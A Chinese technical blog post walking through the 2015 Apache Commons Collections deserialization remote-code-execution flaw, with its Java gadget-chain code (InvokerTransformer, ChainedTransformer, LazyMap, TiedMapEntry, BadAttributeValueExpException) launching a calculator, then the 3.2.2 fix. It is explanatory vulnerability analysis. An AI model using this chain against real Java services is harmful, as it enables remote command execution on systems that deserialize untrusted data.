原來不只是fastjson,這個你每天都在用的類庫也被爆過反序列化漏洞!

HollisChuang發表於2020-07-14

GitHub 15.8k Star 的Java工程師成神之路,不來了解一下嗎!

GitHub 15.8k Star 的Java工程師成神之路,真的不來了解一下嗎!

GitHub 15.8k Star 的Java工程師成神之路,真的真的不來了解一下嗎!

在《fastjson到底做錯了什麼?為什麼會被頻繁爆出漏洞?》文章中,我從技術角度分析過為什麼fastjson會被頻繁爆出一些安全漏洞,然後有人在評論區發表"說到底就是fastjson爛..."等言論,一般遇到這種評論我都是不想理的。

但是事後想想,這個事情還是要單獨說一下,因為這種想法很危險。

一旦這位讀者有一天當上了領導,那麼如果他負責的專案發生了漏洞,他還是站出來說"都怪XXX程式碼寫的爛...",這其實是非常可怕的。

工作久了的話,就會慢慢有種感覺:程式碼都是人寫的,是人寫的程式碼就可能存在漏洞,這個是永遠都無法避免的,任何牛X的程式設計師都不可能寫出完全沒有bug的程式碼!

其實關於序列化的安全性問題,無論是Java原生的序列化技術還是很多其他的開源序列化工具,都曾經發生過。

序列化的安全性,一直都是比較大的一個話題,我無意為fastjson辯駁,但是出問題之後直接噴程式碼寫的爛,其實是有點不負責任的。

Apache-Commons-Collections這個框架,相信每一個Java程式設計師都不陌生,這是一個非常著名的開源框架。

但是,他其實也曾經被爆出過序列化安全漏洞,而漏洞的表現和fastjson一樣,都是可以被遠端執行命令。

背景

Apache Commons是Apache軟體基金會的專案,Commons的目的是提供可重用的、解決各種實際的通用問題且開源的Java程式碼。

Commons Collections包為Java標準的Collections API提供了相當好的補充。在此基礎上對其常用的資料結構操作進行了很好的封裝、抽象和補充。讓我們在開發應用程式的過程中,既保證了效能,同時也能大大簡化程式碼。

Commons Collections的最新版是4.4,但是使用比較廣泛的還是3.x的版本。其實,在3.2.1以下版本中,存在一個比較大的安全漏洞,可以被利用來進行遠端命令執行。

這個漏洞在2015年第一次被披露出來,但是業內一直稱稱這個漏洞為"2015年最被低估的漏洞"。

因為這個類庫的使用實在是太廣泛了,首當其中的就是很多Java Web Server,這個漏洞在當時橫掃了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。

之後,Gabriel Lawrence和Chris Frohoff兩位大神在《Marshalling Pickles how deserializing objects can ruin your day》中提出如何利用Apache Commons Collection實現任意程式碼執行。

問題復現

這個問題主要會發生在Apache Commons Collections的3.2.1以下版本,本次使用3.1版本進行測試,JDK版本為Java 8。

利用Transformer攻擊

Commons Collections中提供了一個Transformer介面,主要是可以用來進行型別裝換的,這個介面有一個實現類是和我們今天要介紹的漏洞有關的,那就是InvokerTransformer。

InvokerTransformer提供了一個transform方法,該方法核心程式碼只有3行,主要作用就是通過反射對傳入的物件進行例項化,然後執行其iMethodName方法。

而需要呼叫的iMethodName和需要使用的引數iArgs其實都是InvokerTransformer類在例項化時設定進來的,這個類的建構函式如下:

也就是說,使用這個類,理論上可以執行任何方法。那麼,我們就可以利用這個類在Java中執行外部命令。

我們知道,想要在Java中執行外部命令,需要使用Runtime.getRuntime().exec(cmd)的形式,那麼,我們就想辦法通過以上工具類實現這個功能。

首先,通過InvokerTransformer的建構函式設定好我們要執行的方法以及引數:

Transformer transformer = new InvokerTransformer("exec",
        new Class[] {String.class},
        new Object[] {"open /Applications/Calculator.app"});

通過,建構函式,我們設定方法名為exec,執行的命令為open /Applications/Calculator.app,即開啟mac電腦上面的計算器(windows下命令:C:\\Windows\\System32\\calc.exe)。

然後,通過InvokerTransformer實現對Runtime類的例項化:

transformer.transform(Runtime.getRuntime());

執行程式後,會執行外部命令,開啟電腦上的計算機程式:

至此,我們知道可以利用InvokerTransformer來呼叫外部命令了,那是不是隻需要把一個我們自定義的InvokerTransformer序列化成字串,然後再反序列化,介面實現遠端命令執行:

先將transformer物件序列化到檔案中,再從檔案中讀取出來,並且執行其transform方法,就實現了攻擊。

你以為這就完了?

但是,如果事情只有這麼簡單的話,那這個漏洞應該早就被發現了。想要真的實現攻擊,那麼還有幾件事要做。

因為,newTransformer.transform(Runtime.getRuntime());這樣的程式碼,不會有人真的在程式碼中寫的。

如果沒有了這行程式碼,還能實現執行外部命令麼?

這就要利用到Commons Collections中提供了另一個工具那就是ChainedTransformer,這個類是Transformer的實現類。

ChainedTransformer類提供了一個transform方法,他的功能遍歷他的iTransformers陣列,然後依次呼叫其transform方法,並且每次都返回一個物件,並且這個物件可以作為下一次呼叫的引數。

那麼,我們可以利用這個特性,來自己實現和transformer.transform(Runtime.getRuntime());同樣的功能:

 Transformer[] transformers = new Transformer[] {
    //通過內建的ConstantTransformer來獲取Runtime類
    new ConstantTransformer(Runtime.class),
    //反射呼叫getMethod方法,然後getMethod方法再反射呼叫getRuntime方法,返回Runtime.getRuntime()方法
    new InvokerTransformer("getMethod",
        new Class[] {String.class, Class[].class },
        new Object[] {"getRuntime", new Class[0] }),
    //反射呼叫invoke方法,然後反射執行Runtime.getRuntime()方法,返回Runtime例項化物件
    new InvokerTransformer("invoke",
        new Class[] {Object.class, Object[].class },
        new Object[] {null, new Object[0] }),
    //反射呼叫exec方法
    new InvokerTransformer("exec",
        new Class[] {String.class },
        new Object[] {"open /Applications/Calculator.app"})
};

Transformer transformerChain = new ChainedTransformer(transformers);

在拿到一個transformerChain之後,直接呼叫他的transform方法,傳入任何引數都可以,執行之後,也可以實現開啟本地計算器程式的功能:

那麼,結合序列化,現在的攻擊更加進了一步,不再需要一定要傳入newTransformer.transform(Runtime.getRuntime());這樣的程式碼了,只要程式碼中有 transformer.transform()方法的呼叫即可,無論裡面是什麼引數:

攻擊者不會滿足於此

但是,一般也不會有程式設計師會在程式碼中寫這樣的程式碼。

那麼,攻擊手段就需要更進一步,真正做到"不需要程式設計師配合"。

於是,攻擊者們發現了在Commons Collections中提供了一個LazyMap類,這個類的get會呼叫transform方法。(Commons Collections還真的是懂得黑客想什麼呀。)

那麼,現在的攻擊方向就是想辦法呼叫到LazyMap的get方法,並且把其中的factory設定成我們的序列化物件就行了。

順藤摸瓜,可以找到Commons Collections中的TiedMapEntry類的getValue方法會呼叫到LazyMap的get方法,而TiedMapEntry類的getValue又會被其中的toString()方法呼叫到。

public String toString() {
    return getKey() + "=" + getValue();
}

public Object getValue() {
    return map.get(key);
}

那麼,現在的攻擊門檻就更低了一些,只要我們自己構造一個TiedMapEntry,並且將他進行序列化,這樣,只要有人拿到這個序列化之後的物件,呼叫他的toString方法的時候,就會自動觸發bug。

Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");

我們知道,toString會在很多時候被隱式呼叫,如輸出的時候(System.out.println(ois.readObject());),程式碼示例如下:

現在,黑客只需要把自己構造的TiedMapEntry的序列化後的內容上傳給應用程式,應用程式在反序列化之後,如果呼叫了toString就會被攻擊。

只要反序列化,就會被攻擊

那麼,有沒有什麼辦法,讓程式碼只要對我們準備好的內容進行反序列化就會遭到攻擊呢?

倒還真的被發現了,只要滿足以下條件就行了:

那就是在某個類的readObject會呼叫到上面我們提到的LazyMap或者TiedMapEntry的相關方法就行了。因為Java反序列化的時候,會呼叫物件的readObject方法。

通過深入挖掘,黑客們找到了BadAttributeValueExpException、AnnotationInvocationHandler等類。這裡拿BadAttributeValueExpException舉例

BadAttributeValueExpException類是Java中提供的一個異常類,他的readObject方法直接呼叫了toString方法:

那麼,攻擊者只需要想辦法把TiedMapEntry的物件賦值給程式碼中的valObj就行了。

通過閱讀原始碼,我們發現,只要給BadAttributeValueExpException類中的成員變數val設定成一個TiedMapEntry型別的物件就行了。

這就簡單了,通過反射就能實現:

Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");

BadAttributeValueExpException poc = new BadAttributeValueExpException(null);

// val是私有變數,所以利用下面方法進行賦值
Field valfield = poc.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(poc, entry);

於是,這時候,攻擊就非常簡單了,只需要把BadAttributeValueExpException物件序列化成字串,只要這個字串內容被反序列化,那麼就會被攻擊。

問題解決

以上,我們復現了這個Apache Commons Collections類庫帶來的一個和反序列化有關的遠端程式碼執行漏洞。

通過這個漏洞的分析,我們可以發現,只要有一個地方程式碼寫的不夠嚴謹,就可能會被攻擊者利用。

因為這個漏洞影響範圍很大,所以在被爆出來之後就被修復掉了,開發者只需要將Apache Commons Collections類庫升級到3.2.2版本,即可避免這個漏洞。

-w1382

3.2.2版本對一些不安全的Java類的序列化支援增加了開關,預設為關閉狀態。涉及的類包括

CloneTransformer
ForClosure
InstantiateFactory
InstantiateTransformer
InvokerTransformer
PrototypeCloneFactory
PrototypeSerializationFactory,
WhileClosure

如在InvokerTransformer類中,自己實現了和序列化有關的writeObject()和 readObject()方法:

在兩個方法中,進行了序列化安全的相關校驗,校驗實現程式碼如下:

在序列化及反序列化過程中,會檢查對於一些不安全類的序列化支援是否是被禁用的,如果是禁用的,那麼就會丟擲UnsupportedOperationException,通過org.apache.commons.collections.enableUnsafeSerialization設定這個特性的開關。

將Apache Commons Collections升級到3.2.2以後,執行文中示例程式碼,將報錯如下:

Exception in thread "main" java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
    at org.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerialization(FunctorUtils.java:183)
    at org.apache.commons.collections.functors.InvokerTransformer.writeObject(InvokerTransformer.java:155)

後話

本文介紹了Apache Commons Collections的歷史版本中的一個反序列化漏洞。

如果你閱讀本文之後,能夠有以下思考,那麼本文的目的就達到了:

1、程式碼都是人寫的,有bug都是可以理解的

2、公共的基礎類庫,一定要重點考慮安全性問題

3、在使用公共類庫的時候,要時刻關注其安全情況,一旦有漏洞爆出,要馬上升級

4、安全領域深不見底,攻擊者總能抽絲剝繭,一點點bug都可能被利用

參考資料:
https://commons.apache.org/proper/commons-collections/release_3_2_2.html
https://p0sec.net/index.php/archives/121/
https://www.freebuf.com/vuls/175252.html
https://kingx.me/commons-collections-java-deserialization.html

相關文章